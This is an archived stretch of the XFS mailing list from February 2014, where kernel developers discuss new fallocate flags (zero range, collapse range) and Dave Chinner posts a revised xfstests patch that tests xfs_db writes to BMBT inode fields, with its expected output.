AmwOAJIpA1N5LJYe/2dsb2JhbABZgwY4g1mlHwORV4VUgRQXdIIlAQEFIw8BIyMQCAECEQMBAgECAgUhAgIPBSUDEw4TiAQOjQubf6INFxaBE41YB4JvNYEUBJgrgTOJHYdUg0Eo Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail06.adl6.internode.on.net with ESMTP; 18 Feb 2014 20:11:46 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WFhBO-0007lz-9y; Tue, 18 Feb 2014 20:41:42 +1100 Date: Tue, 18 Feb 2014 20:41:42 +1100 From: Dave Chinner To: =?utf-8?B?THVrw6HFoQ==?= Czerner Cc: linux-ext4@vger.kernel.org, tytso@mit.edu, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH 0/6][RFC] Introduce FALLOC_FL_ZERO_RANGE flag for fallocate Message-ID: <20140218094142.GC28666@dastard> X-ASG-Orig-Subj: Re: [PATCH 0/6][RFC] Introduce FALLOC_FL_ZERO_RANGE flag for fallocate References: <1392649703-10772-1-git-send-email-lczerner@redhat.com> <20140218010138.GE13997@dastard> <20140218083324.GB28666@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1392716507 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145239 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Feb 18, 2014 at 10:09:48AM +0100, Lukáš Czerner wrote: > On Tue, 18 Feb 2014, Dave Chinner wrote: > > > Date: Tue, 18 Feb 2014 19:33:24 +1100 > > From: Dave Chinner > > To: Lukas Czerner > > Cc: linux-ext4@vger.kernel.org, tytso@mit.edu, linux-fsdevel@vger.kernel.org, > > xfs@oss.sgi.com > > Subject: Re: [PATCH 0/6][RFC] Introduce FALLOC_FL_ZERO_RANGE flag for > > fallocate > > > > On Tue, Feb 18, 2014 at 12:01:38PM +1100, Dave Chinner wrote: > > > On Mon, Feb 17, 2014 at 04:08:17PM +0100, Lukas Czerner wrote: > > > > Introduce new FALLOC_FL_ZERO_RANGE flag for fallocate. This has the same > > > > functionality as xfs ioctl XFS_IOC_ZERO_RANGE. > > > > > > > > It can be used to convert a range of file to zeros preferably without > > > > issuing data IO. Blocks should be preallocated for the regions that span > > > > holes in the file, and the entire range is preferable converted to > > > > unwritten extents - even though file system may choose to zero out the > > > > extent or do whatever which will result in reading zeros from the range > > > > while the range remains allocated for the file. > > > > > > > > This can be also used to preallocate blocks past EOF in the same way as > > > > with fallocate. Flag FALLOC_FL_KEEP_SIZE which should cause the inode > > > > size to remain the same. > > > > > > > > You can test this feature yourself using xfstests, of fallocate(1) however > > > > you'll need patches for util_linux, xfsprogs and xfstests which you > > > > can find here: > > > > > > > > http://people.redhat.com/lczerner/zero_range/ > > > > > > > > I'll post the patches after we agree and merge the kernel functionality. > > > > > > > > I tested this mostly with a subset of xfstests using fsx and fsstress and > > > > even with new generic/290 which is just a copy of xfs/290 usinz fzero > > > > command for xfs_io instead of zero (which uses ioctl). I was testing on > > > > x86_64 and ppc64 with block sizes of 1024, 2048 and 4096. > > > > > > You also want to convert xfs/242 to be a generic test - it uses the > > > _generic_test_punch helper to test all the corner cases across > > > different extent type transitions. > > That was the plan originally, however it uses xfs bmap which is not > supported for other file systems. But I can take a better look and > possibly port it to generic as well. Simply pass fiemap rather than "bmap -v" like all the other falloc tests do. The output of the xfs_io fiemap and bmap commands is pretty much identical so this shouldn't be an issue. > > > > ./check generic/076 generic/232 generic/013 generic/070 generic/269 generic/083 generic/117 generic/068 generic/231 generic/127 generic/091 generic/075 generic/112 generic/263 generic/091 generic/075 generic/256 generic/255 generic/316 generic/300 generic/290; > > > > FWIW. if that's a group of tests you consider good for testing > > extent tree modifications, then can you create a test group for > > these by adding "extent" to each of the tests in the group file? > > I've made patches adding support for FALLOC_FL_ZERO_RANGE into fsx > and fsstress so those tests are mostly tests which are using fsx and > fsstress. Ok, so it's a "fallocate" test group, then? Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Tue Feb 18 03:46:50 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_FRT_BELOW2 autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 67A167FCC for ; Tue, 18 Feb 2014 03:46:50 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 4FA358F804C for ; Tue, 18 Feb 2014 01:46:50 -0800 (PST) X-ASG-Debug-ID: 1392716808-04cb6c6de251d220001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id WR0v2juR4XONTLB6 for ; Tue, 18 Feb 2014 01:46:48 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AmwOALoqA1N5LJYe/2dsb2JhbABZgwY4g1mlHwORV4VUgRQXdIIlAQEFIw8BIyMQCAECEQMBAgECAgUhAgIPBQ0YAxMOE4dxAxAOjQqbf5lxDYgPFxaBE4s+GYIBB4JvNYEUBJZAgWuKUIIPhUWBb4FSKA Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail06.adl6.internode.on.net with ESMTP; 18 Feb 2014 20:16:47 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WFhGG-0007mo-Jf; Tue, 18 Feb 2014 20:46:44 +1100 Date: Tue, 18 Feb 2014 20:46:44 +1100 From: Dave Chinner To: =?utf-8?B?THVrw6HFoQ==?= Czerner Cc: Namjae Jeon , viro@zeniv.linux.org.uk, bpm@sgi.com, tytso@mit.edu, adilger.kernel@dilger.ca, jack@suse.cz, mtk.manpages@gmail.com, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, Namjae Jeon , Ashish Sangwan Subject: Re: [PATCH RESEND 3/10] ext4: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate Message-ID: <20140218094644.GD28666@dastard> X-ASG-Orig-Subj: Re: [PATCH RESEND 3/10] ext4: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate References: <1391319874-3203-1-git-send-email-linkinjeon@gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1392716808 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145239 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Feb 18, 2014 at 10:05:49AM +0100, Lukáš Czerner wrote: > On Wed, 12 Feb 2014, Namjae Jeon wrote: > > > Date: Wed, 12 Feb 2014 11:28:35 +0900 > > From: Namjae Jeon > > To: Lukáš Czerner > > Cc: viro@zeniv.linux.org.uk, david@fromorbit.com, bpm@sgi.com, tytso@mit.edu, > > adilger.kernel@dilger.ca, jack@suse.cz, mtk.manpages@gmail.com, > > linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, > > linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, > > Namjae Jeon , > > Ashish Sangwan > > Subject: Re: [PATCH RESEND 3/10] ext4: Add support FALLOC_FL_COLLAPSE_RANGE > > for fallocate > > > > 2014-02-11 20:59 GMT+09:00, Lukáš Czerner : > > > On Sun, 2 Feb 2014, Namjae Jeon wrote: > > > > > >> Date: Sun, 2 Feb 2014 14:44:34 +0900 > > >> From: Namjae Jeon > > >> To: viro@zeniv.linux.org.uk, david@fromorbit.com, bpm@sgi.com, > > >> tytso@mit.edu, > > >> adilger.kernel@dilger.ca, jack@suse.cz, mtk.manpages@gmail.com > > >> Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, > > >> linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, > > >> Namjae Jeon , Namjae Jeon > > >> , > > >> Ashish Sangwan > > >> Subject: [PATCH RESEND 3/10] ext4: Add support FALLOC_FL_COLLAPSE_RANGE > > >> for > > >> fallocate > > >> > > >> From: Namjae Jeon > > >> > > >> Add support FALLOC_FL_COLLAPSE_RANGE for fallocate > > Hi Lukas. > > > > > > Description is missing here, please provide FALLOC_FL_COLLAPSE_RANGE > > > description so people know what it's supposed to be doing. > > > > > > more comments bellow. > > Okay, I will udpate. > > > > > > Thanks! > > > -Lukas > > Hi, > > you may have noticed my patches for new FALLOC_FL_ZERO_RANGE > fallocate flag. This changes things around the same area as your > patches does so we should probably figure out which are going to > land in first and then rebase the other on top of that. > > One concern I have is that I have not seen any tests provided to > verify the feature. But I just may have missed it. Do you have any > xfstests test or at least fsx and fsstress patches to provide > support for testing FALLOC_FL_COLLAPSE_RANGE ? Patches for > util_linux might also be handy. There were 5 xfstests patches posted that used the _test_generic_punch infrastructure to test this functionality. See the december 08 index here, search for "shared/00[1-5]": http://oss.sgi.com/archives/xfs/2013-12/index.html They need a little rework, but otherwise the test code is there. Having the feature added to fsx and fsstress would probably be a good idea, though. Cheers, Dave. -- Dave Chinner david@fromorbit.com From linkinjeon@gmail.com Tue Feb 18 03:50:57 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID, T_FRT_BELOW2 autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 93BB67FD5 for ; Tue, 18 Feb 2014 03:50:57 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 59DEF304059 for ; Tue, 18 Feb 2014 01:50:57 -0800 (PST) X-ASG-Debug-ID: 1392717055-04bdf00fcae84a0001-NocioJ Received: from mail-qc0-f171.google.com (mail-qc0-f171.google.com [209.85.216.171]) by cuda.sgi.com with ESMTP id VR2YvlZhD0g9Q6o5 (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 18 Feb 2014 01:50:55 -0800 (PST) X-Barracuda-Envelope-From: linkinjeon@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.216.171 X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.171] Received: by mail-qc0-f171.google.com with SMTP id x3so264132qcv.30 for ; Tue, 18 Feb 2014 01:50:54 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.171] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.171] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type:content-transfer-encoding; bh=r3ntOMuNFB4iJNiPS7efVpKzhAp5BrmVEkhw3q7dnDE=; b=f2v6fDCP7o64o/kddL4eWqzk7fyuBeCkvD9zilAFRiWvLwXnsUdq9TKGPbyCubhTcx e1yZQkzthjjubXZSxrNsiyrb+b8c5H30MwE1h/tCy4b1O/6Fz9vfsBe9/+fRQ6nKD8Ef 6nf911ee2Cj/r/RxSXqwk+vYfefGfsmx5lL9cKiE0cTc9qyupZOLbRFkIT0AbLaQtV42 aH8R2BJNzBDpDDo5nJoTk2xnJojUMacumXg5loChLPyv2vhyek3qUIY4NWn8GEkcke5I 4/sznX0NGUl2y6ChncX57zdgGKlOm7+qmfbjS9Maa9o2VlWckYPU5YjujgchVB4XSuti z+Zg== MIME-Version: 1.0 X-Received: by 10.224.8.137 with SMTP id h9mr41350402qah.2.1392717054896; Tue, 18 Feb 2014 01:50:54 -0800 (PST) Received: by 10.96.109.102 with HTTP; Tue, 18 Feb 2014 01:50:54 -0800 (PST) In-Reply-To: References: <1391319874-3203-1-git-send-email-linkinjeon@gmail.com> Date: Tue, 18 Feb 2014 18:50:54 +0900 Message-ID: Subject: Re: [PATCH RESEND 3/10] ext4: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate From: Namjae Jeon X-ASG-Orig-Subj: Re: [PATCH RESEND 3/10] ext4: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate To: =?UTF-8?B?THVrw6HFoSBDemVybmVy?= Cc: viro@zeniv.linux.org.uk, david@fromorbit.com, bpm@sgi.com, tytso@mit.edu, adilger.kernel@dilger.ca, jack@suse.cz, mtk.manpages@gmail.com, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, Namjae Jeon , Ashish Sangwan Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable X-Barracuda-Connect: mail-qc0-f171.google.com[209.85.216.171] X-Barracuda-Start-Time: 1392717055 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145239 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 2014-02-18 18:05 GMT+09:00, Luk=C3=A1=C5=A1 Czerner : > On Wed, 12 Feb 2014, Namjae Jeon wrote: > >> Date: Wed, 12 Feb 2014 11:28:35 +0900 >> From: Namjae Jeon >> To: Luk=C3=A1=C5=A1 Czerner >> Cc: viro@zeniv.linux.org.uk, david@fromorbit.com, bpm@sgi.com, >> tytso@mit.edu, >> adilger.kernel@dilger.ca, jack@suse.cz, mtk.manpages@gmail.com, >> linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, >> linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, >> Namjae Jeon , >> Ashish Sangwan >> Subject: Re: [PATCH RESEND 3/10] ext4: Add support >> FALLOC_FL_COLLAPSE_RANGE >> for fallocate >> >> 2014-02-11 20:59 GMT+09:00, Luk=C3=A1=C5=A1 Czerner : >> > On Sun, 2 Feb 2014, Namjae Jeon wrote: >> > >> >> Date: Sun, 2 Feb 2014 14:44:34 +0900 >> >> From: Namjae Jeon >> >> To: viro@zeniv.linux.org.uk, david@fromorbit.com, bpm@sgi.com, >> >> tytso@mit.edu, >> >> adilger.kernel@dilger.ca, jack@suse.cz, mtk.manpages@gmail.com >> >> Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, >> >> linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, >> >> Namjae Jeon , Namjae Jeon >> >> , >> >> Ashish Sangwan >> >> Subject: [PATCH RESEND 3/10] ext4: Add support >> >> FALLOC_FL_COLLAPSE_RANGE >> >> for >> >> fallocate >> >> >> >> From: Namjae Jeon >> >> >> >> Add support FALLOC_FL_COLLAPSE_RANGE for fallocate >> Hi Lukas. >> > >> > Description is missing here, please provide FALLOC_FL_COLLAPSE_RANGE >> > description so people know what it's supposed to be doing. >> > >> > more comments bellow. >> Okay, I will udpate. >> > >> > Thanks! >> > -Lukas > > Hi, Hi Lukas. > > you may have noticed my patches for new FALLOC_FL_ZERO_RANGE > fallocate flag. This changes things around the same area as your > patches does so we should probably figure out which are going to > land in first and then rebase the other on top of that. Yes, I have seen your patches. I think that VFS + XFS patches for FALLOC_FL_COLLAPSE_RANGE have got a fair amount of review from Dave. So they are almost ready. I will post collapse range v5 patches after fixing some minor comments tonight or tommorow. If there will be no more comments for XFS patch, VFS + XFS patches can go through to xfs tree by Dave. I think that Ext4 collapse range could go at a later time.(Need your reviewed-by tag) If still there are comments for xfs patch, I will rebase on top of your pat= ch. > > One concern I have is that I have not seen any tests provided to > verify the feature. But I just may have missed it. Do you have any > xfstests test or at least fsx and fsstress patches to provide > support for testing FALLOC_FL_COLLAPSE_RANGE ? Patches for > util_linux might also be handy. Yes, There are 5 new xfstests cases in this patch-set. these will also be posted with collapse range patch-set soon. Thanks :) > > Thanks! > -Lukas From david@fromorbit.com Tue Feb 18 04:18:24 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id B5D957FD4 for ; Tue, 18 Feb 2014 04:18:24 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 64C508F8068 for ; Tue, 18 Feb 2014 02:18:21 -0800 (PST) X-ASG-Debug-ID: 1392718698-04bdf00fc9eac90001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id OyzLNvwACJQszfq7 for ; Tue, 18 Feb 2014 02:18:18 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AjUHAPEyA1N5LJYe/2dsb2JhbABZgwa7C4VUgRQXdIIlAQEEATocIwULCAMVAwklDwUlAyETh30Hyy4XFo5rB4MkgRQEjj+JbJIkg0Eo Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail06.adl6.internode.on.net with ESMTP; 18 Feb 2014 20:48:11 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WFhke-0007rQ-6f; Tue, 18 Feb 2014 21:18:08 +1100 Date: Tue, 18 Feb 2014 21:18:08 +1100 From: Dave Chinner To: Mark Tinguely Cc: xfs@oss.sgi.com Subject: Re: [PATCH v2] xfstests: test setting XFS BMBT fields Message-ID: <20140218101808.GE28666@dastard> X-ASG-Orig-Subj: Re: [PATCH v2] xfstests: test setting XFS BMBT fields References: <20140210231046.910977175@sgi.com> <20140213202608.627433955@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140213202608.627433955@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1392718698 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145239 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Feb 13, 2014 at 02:26:56PM -0600, Mark Tinguely wrote: > Test the setting of the XFS BMBT fields. Runs through the valid > bit values for each field and tests an illegal value. > > Signed-off-by: Mark Tinguely > --- > v2: > Removed the test for CRC filesystems which also removes need for the nasty > prefixes and filtering output. Breaking CRC filesystem testing isn't the best approach, IMO. Using Eric's approach of turning off CRCs - as the bug fix will be in xfs_db binaries that support CRCs - is a much better idea. It's also missing _require_scratch. > Remove the hex input as an integer test because it aint a number. And so we should be testing that it isn't endian converted. So rather than go around again, here's an updated patch below that fixes all these issues. Cheers, Dave. -- Dave Chinner david@fromorbit.com xfs: test setting XFS BMBT fields in xfs_db From: Mark Tinguely Test the setting of the XFS BMBT fields via xfs_db. Runs through the valid bit values for each field and tests an illegal value. [dchinner: added _require_xfs_mkfs_crc and turned off crcs so that the test doesn't just fail on CRC enabled test runs.] [dchinner: added hex block values to check they don't get endian swapped.] Signed-off-by: Mark Tinguely Reviewed-by: Dave Chinner Signed-off-by: Dave Chinner --- tests/xfs/001 | 98 +++++++++++++++++++++++++++++++++++ tests/xfs/001.out | 150 ++++++++++++++++++++++++++++++++++++++++++++++++++++++ tests/xfs/group | 1 + 3 files changed, 249 insertions(+) diff --git a/tests/xfs/001 b/tests/xfs/001 new file mode 100755 index 0000000..e72e6fd --- /dev/null +++ b/tests/xfs/001 @@ -0,0 +1,98 @@ +#! /bin/bash +# FS QA Test No. 001 +# +# Test the xfs_db write of the XFS BMBT entries. For each XFS BMBT field, +# write the value 0, each bit and finally the entry beyond the maximum legal +# value. Also makes sure a core write and hex input still work. +# +#----------------------------------------------------------------------- +# Copyright (c) 2014 SGI. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + cd / + rm -f $tmp.* +} + +_do_bit_test() +{ + field="$1" + bits="$2" + + echo "testing $field with $bits bits" + $XFS_DB_PROG -x -c "inode $FILE_INO" -c "write $field 0" $SCRATCH_DEV + num=1 + for n in `seq 0 1 $bits`; do + $XFS_DB_PROG -x -c "inode $FILE_INO" \ + -c "write $field $num" $SCRATCH_DEV + let num=$num*2 + done + echo +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here + +# Modify as appropriate. +_supported_fs xfs +_supported_os Linux +_require_scratch +_require_xfs_mkfs_crc + +_scratch_mkfs -m crc=0 >/dev/null 2>&1 +_scratch_mount + +# create the test file +echo "make a file with data so it has an extent" > $SCRATCH_MNT/file + +# find the inode for the test file +FILE_INO=`ls -i $SCRATCH_MNT |awk '{print $1}'` + +_scratch_unmount + +# test bit length constants +BMBT_EXNTFLAG_BITLEN=1 +BMBT_STARTOFF_BITLEN=54 +BMBT_STARTBLOCK_BITLEN=52 +BMBT_BLOCKCOUNT_BITLEN=21 + +# test setting the BMBT entries from 0 to past the valid number. +_do_bit_test "u.bmx[0].extentflag" $BMBT_EXNTFLAG_BITLEN +_do_bit_test "u.bmx[0].startoff" $BMBT_STARTOFF_BITLEN +_do_bit_test "u.bmx[0].startblock" $BMBT_STARTBLOCK_BITLEN +_do_bit_test "u.bmx[0].blockcount" $BMBT_BLOCKCOUNT_BITLEN +# test setting the 32 bit generation number +$XFS_DB_PROG -x -c "inode $FILE_INO" -c "write core.gen 0x5a" $SCRATCH_DEV +$XFS_DB_PROG -x -c "inode $FILE_INO" -c "write core.gen 0xa5" $SCRATCH_DEV +$XFS_DB_PROG -x -c "inode $FILE_INO" -c "write core.gen 0" $SCRATCH_DEV +$XFS_DB_PROG -x -c "inode $FILE_INO" -c "write core.gen #5a5a" $SCRATCH_DEV +$XFS_DB_PROG -x -c "inode $FILE_INO" -c "write core.gen #a5a5" $SCRATCH_DEV +status=0 +exit diff --git a/tests/xfs/001.out b/tests/xfs/001.out new file mode 100644 index 0000000..53aba1c --- /dev/null +++ b/tests/xfs/001.out @@ -0,0 +1,150 @@ +QA output created by 001 +testing u.bmx[0].extentflag with 1 bits +u.bmx[0].extentflag = 0 +u.bmx[0].extentflag = 1 +unable to convert value '2'. + +testing u.bmx[0].startoff with 54 bits +u.bmx[0].startoff = 0 +u.bmx[0].startoff = 1 +u.bmx[0].startoff = 2 +u.bmx[0].startoff = 4 +u.bmx[0].startoff = 8 +u.bmx[0].startoff = 16 +u.bmx[0].startoff = 32 +u.bmx[0].startoff = 64 +u.bmx[0].startoff = 128 +u.bmx[0].startoff = 256 +u.bmx[0].startoff = 512 +u.bmx[0].startoff = 1024 +u.bmx[0].startoff = 2048 +u.bmx[0].startoff = 4096 +u.bmx[0].startoff = 8192 +u.bmx[0].startoff = 16384 +u.bmx[0].startoff = 32768 +u.bmx[0].startoff = 65536 +u.bmx[0].startoff = 131072 +u.bmx[0].startoff = 262144 +u.bmx[0].startoff = 524288 +u.bmx[0].startoff = 1048576 +u.bmx[0].startoff = 2097152 +u.bmx[0].startoff = 4194304 +u.bmx[0].startoff = 8388608 +u.bmx[0].startoff = 16777216 +u.bmx[0].startoff = 33554432 +u.bmx[0].startoff = 67108864 +u.bmx[0].startoff = 134217728 +u.bmx[0].startoff = 268435456 +u.bmx[0].startoff = 536870912 +u.bmx[0].startoff = 1073741824 +u.bmx[0].startoff = 2147483648 +u.bmx[0].startoff = 4294967296 +u.bmx[0].startoff = 8589934592 +u.bmx[0].startoff = 17179869184 +u.bmx[0].startoff = 34359738368 +u.bmx[0].startoff = 68719476736 +u.bmx[0].startoff = 137438953472 +u.bmx[0].startoff = 274877906944 +u.bmx[0].startoff = 549755813888 +u.bmx[0].startoff = 1099511627776 +u.bmx[0].startoff = 2199023255552 +u.bmx[0].startoff = 4398046511104 +u.bmx[0].startoff = 8796093022208 +u.bmx[0].startoff = 17592186044416 +u.bmx[0].startoff = 35184372088832 +u.bmx[0].startoff = 70368744177664 +u.bmx[0].startoff = 140737488355328 +u.bmx[0].startoff = 281474976710656 +u.bmx[0].startoff = 562949953421312 +u.bmx[0].startoff = 1125899906842624 +u.bmx[0].startoff = 2251799813685248 +u.bmx[0].startoff = 4503599627370496 +u.bmx[0].startoff = 9007199254740992 +unable to convert value '18014398509481984'. + +testing u.bmx[0].startblock with 52 bits +u.bmx[0].startblock = 0 +u.bmx[0].startblock = 1 +u.bmx[0].startblock = 2 +u.bmx[0].startblock = 4 +u.bmx[0].startblock = 8 +u.bmx[0].startblock = 16 +u.bmx[0].startblock = 32 +u.bmx[0].startblock = 64 +u.bmx[0].startblock = 128 +u.bmx[0].startblock = 256 +u.bmx[0].startblock = 512 +u.bmx[0].startblock = 1024 +u.bmx[0].startblock = 2048 +u.bmx[0].startblock = 4096 +u.bmx[0].startblock = 8192 +u.bmx[0].startblock = 16384 +u.bmx[0].startblock = 32768 +u.bmx[0].startblock = 65536 +u.bmx[0].startblock = 131072 +u.bmx[0].startblock = 262144 +u.bmx[0].startblock = 524288 +u.bmx[0].startblock = 1048576 +u.bmx[0].startblock = 2097152 +u.bmx[0].startblock = 4194304 +u.bmx[0].startblock = 8388608 +u.bmx[0].startblock = 16777216 +u.bmx[0].startblock = 33554432 +u.bmx[0].startblock = 67108864 +u.bmx[0].startblock = 134217728 +u.bmx[0].startblock = 268435456 +u.bmx[0].startblock = 536870912 +u.bmx[0].startblock = 1073741824 +u.bmx[0].startblock = 2147483648 +u.bmx[0].startblock = 4294967296 +u.bmx[0].startblock = 8589934592 +u.bmx[0].startblock = 17179869184 +u.bmx[0].startblock = 34359738368 +u.bmx[0].startblock = 68719476736 +u.bmx[0].startblock = 137438953472 +u.bmx[0].startblock = 274877906944 +u.bmx[0].startblock = 549755813888 +u.bmx[0].startblock = 1099511627776 +u.bmx[0].startblock = 2199023255552 +u.bmx[0].startblock = 4398046511104 +u.bmx[0].startblock = 8796093022208 +u.bmx[0].startblock = 17592186044416 +u.bmx[0].startblock = 35184372088832 +u.bmx[0].startblock = 70368744177664 +u.bmx[0].startblock = 140737488355328 +u.bmx[0].startblock = 281474976710656 +u.bmx[0].startblock = 562949953421312 +u.bmx[0].startblock = 1125899906842624 +u.bmx[0].startblock = 2251799813685248 +unable to convert value '4503599627370496'. + +testing u.bmx[0].blockcount with 21 bits +u.bmx[0].blockcount = 0 +u.bmx[0].blockcount = 1 +u.bmx[0].blockcount = 2 +u.bmx[0].blockcount = 4 +u.bmx[0].blockcount = 8 +u.bmx[0].blockcount = 16 +u.bmx[0].blockcount = 32 +u.bmx[0].blockcount = 64 +u.bmx[0].blockcount = 128 